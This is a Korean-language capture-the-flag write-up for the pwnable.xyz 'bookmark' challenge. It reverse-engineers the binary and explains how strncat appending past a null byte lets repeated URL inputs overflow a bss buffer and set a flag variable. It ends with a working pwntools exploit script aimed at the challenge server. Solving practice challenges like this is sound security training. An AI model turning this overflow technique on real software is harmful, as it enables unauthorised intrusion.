WAR GAME/pwnable.xyz

[pwnable.xyz] bookmark 풀이 (logic bug로 인한 overflow?)

jir4vvit 2021. 6. 10. 00:02
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

logic error라고 하는데, 사실 error랑 bug 차이도 잘 모르겠고,, (?)

결국은 overflow가 일어나서 변수의 값을 덮는 것이기 때문에 logic bug로 인한 overflow? 라고 제목을 지었다.


Analysis

Check Mitigation

요새는 왤케 다 문제들이 보호기법이 전부 걸려있는지 잘 모르겠다.

Execution

일단은.. login을 하는게 무슨 의미인지 잘 모르겠고,

url을 생성하고 프린트하고 save하는 곳에서 뭔가 취약점이 발생할 것 같은 느낌적인 느낌?

이제 코드를 살펴보자.

Code

main

빨간색 네모

1번 Login 메뉴로 password를 입력하는 부분이다.

여기서 qword_202300과, read_long()의 반환값이 같게 되면 dword_202300을 1로 바꾸는데,

여기 if문에 걸리게 되면, 4번 메뉴에서 win() 함수를 실행시켜 flag를 출력해준다.

 

참고로 qword_202300은 bss 영역에 위치하는 전역변수이며, qword의 의미는 8바이트를 뜻한다.

(dword는 4바이트!)

 

저기 1번 메뉴에서 8바이트인 qword와 read_long() 함수의 반환값을 int(4바이트)로 형변환한 것을 비교하고 있는데, 8바이트와 4바이트는 같기가 힘들고(같으려면 0이 와야할 것 같다 ㅎ), 이 환경에서는 암튼 절대 같을 수 없다.

 

그 이유는 while문에 들어가기 전, init_login() 함수에서 

qword_202300에 /dev/urandom 의 값을 넣어주기 때문인데, 얘는 일단 8바이트이다. (0의 값 거의 절대 안나올듯)

 

주황색 네모

main에서는 딱히 봐줄만한게 없기 때문에 create_url() 함수 분석을 하였다.

 

create_url

빨간색 네모

bm에 9글자 입력을 받고 난 후, strncmp함수로 첫 4글자가 'http'인지 검사한다.

 

주황색 네모

byte_202204이다. 참고로 bm은 byte_202200이다. 앞의 ~0,1,2,3은 http 문자열의 일치여부를 검사했으므로 그 다음 5번째 글자가 s인지 아닌지 검사한다.

만약 s면 https 문자열을 v2에 저장하고

아니면 http 문자열을 v2에 저장한다.

딱히 왜있는지 모르겠는(?) 로직이다. 그냥 Secure, insecure 컨셉에 맞춘 거인듯?

 

노란색 네모

여기가 중요하다.

처음 bm에 입력할때 'http'라고 적었다고 가정하면 현재 v2는 202204이다.

여기에 : 나 / 가 오는지 검사하고 있으면 v2를 한칸씩 옆으로 이동하며 계속 검사한다.

그러고 : 나 / 가 나오지 않는 칸에 0(null)을 넣어준다.

 

아래는 그냥 디버깅한건데, 입력값으로 'http/////'을 넣었다.

rbp-0x10은 현재 v2의 값이고, 

0x2f나 0x3a가 존재하면 add 명령으로 1씩 더해준다.

현재는 ~ 6인 상태인데, ~8까지 돌고 ~9 자리에 0을 넣을 것이다.

0 1 2 3 4 5 6 7 8
h t t p / / / / /

 

~ 9 자리에 0을 넣는 것을 확인할 수 있다.

 

 

초록색 네모

size를 입력받고, 적을 수 있는 가장 큰 값은 127이다.

그리고 malloc 함수를 이용해 원하는 사이즈를 동적할당한다.

 

파란색 네모

read 함수로 방금 malloc으로 동적할당한 buf에 내가 입력한 size만큼 입력을 한다.

그리고 return 값으로 strncat 함수의 반환값을 리턴하는데..

이 함수는 null있는 부분을 제거하고, 그 부분부터 복사를 하는 것이다.

예를 들면 bm에 AAAA0BBBB가 저장되어 있고, buf에 CCCC가 있다고 치자.

strncat(bm, buf, 0x100) 을 하면 AAAACCCC가 될 것이다. 물론 마지막 인자만큼 복사를 한다.

 

자자, flag를 알려주는 조건은 qword_202308이 0이 아닌 수가 되면 flag를 알려준다 (라고 main에 적혀있다.)

bm : 202200

random : 202300

!!!! : 202308

 

우리는 bm에 입력할 수 있는데, 0이 아닌 수로 바꿔야하는 !!!!은 202308이다.

0x108이 차이난다.

얘를 덮을 수만 있다면,, flag를 출력해주지 않을까?

 

쟤를 덮으려면 0x108을 쓸 수 있어야한다. overflow는 어떻게 일으키지?

strncat 함수를 이용하자! null을 제거하고서부터 복붙하는 성질을 이용하자!

 

Exploit Scenario

1. http///// 전송한 후 , / * 127 전송 -> 그러면 다음에 또 입력받으면 맨 마지막 null 제외하고서부터 strncat으로 붙여서 문자열이 더 길어질 것

2. http 전송한 후 , / * 127 전송

3. http 전송한 후, // 전송

4. 4번 메뉴 선택


참고로 저 네모친 부분이 202208이다. 저 부분을 0이 아닌수로만 바꾸면 된다.

 

아 그리고 아래 에서 왜 if문을 못 맞추냐면...

지금 위에 메모리 사진으로 random값이 0x2f2f2f2f2f2f2f2f(8바이트)

하지만 read_long()함수로 내가 아무리 0x2f2f2f2f2f2f2f2f(8바이트)를 입력을 해도, int로 형변환하기 때문에 강제로 4바이트가 되어버린다. 0x2f2f2f2f.. 

그래서 절대 같을 수 없다.

 

그럼 이 생각을 가지고 random에 2f2f2f2f만 덮는다면???

걍 절대 안된다. 저 값 8바이트랑 4바이트만을 비교하기 때문에...

Exploit Code

from pwn import * 

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30021)
e = ELF('./challenge')

p.sendlineafter('> ', '2')
p.sendafter('insecure: ', 'http/////') # 4 + 5
p.sendlineafter('url: ', '127') # 4 + 5 + 127 = 136
p.send('/'*127)

p.sendlineafter('> ', '2')
#pause()
p.sendafter('insecure: ', 'http')
p.sendlineafter('url: ', '127') # 136 + 127 = 263
p.send('/'*127)

p.sendlineafter('> ', '2')
#pause()
p.sendafter('insecure: ', 'http')
p.sendlineafter('url: ', '2')
p.send('//')

pause()
p.sendlineafter('> ', '4')

p.interactive()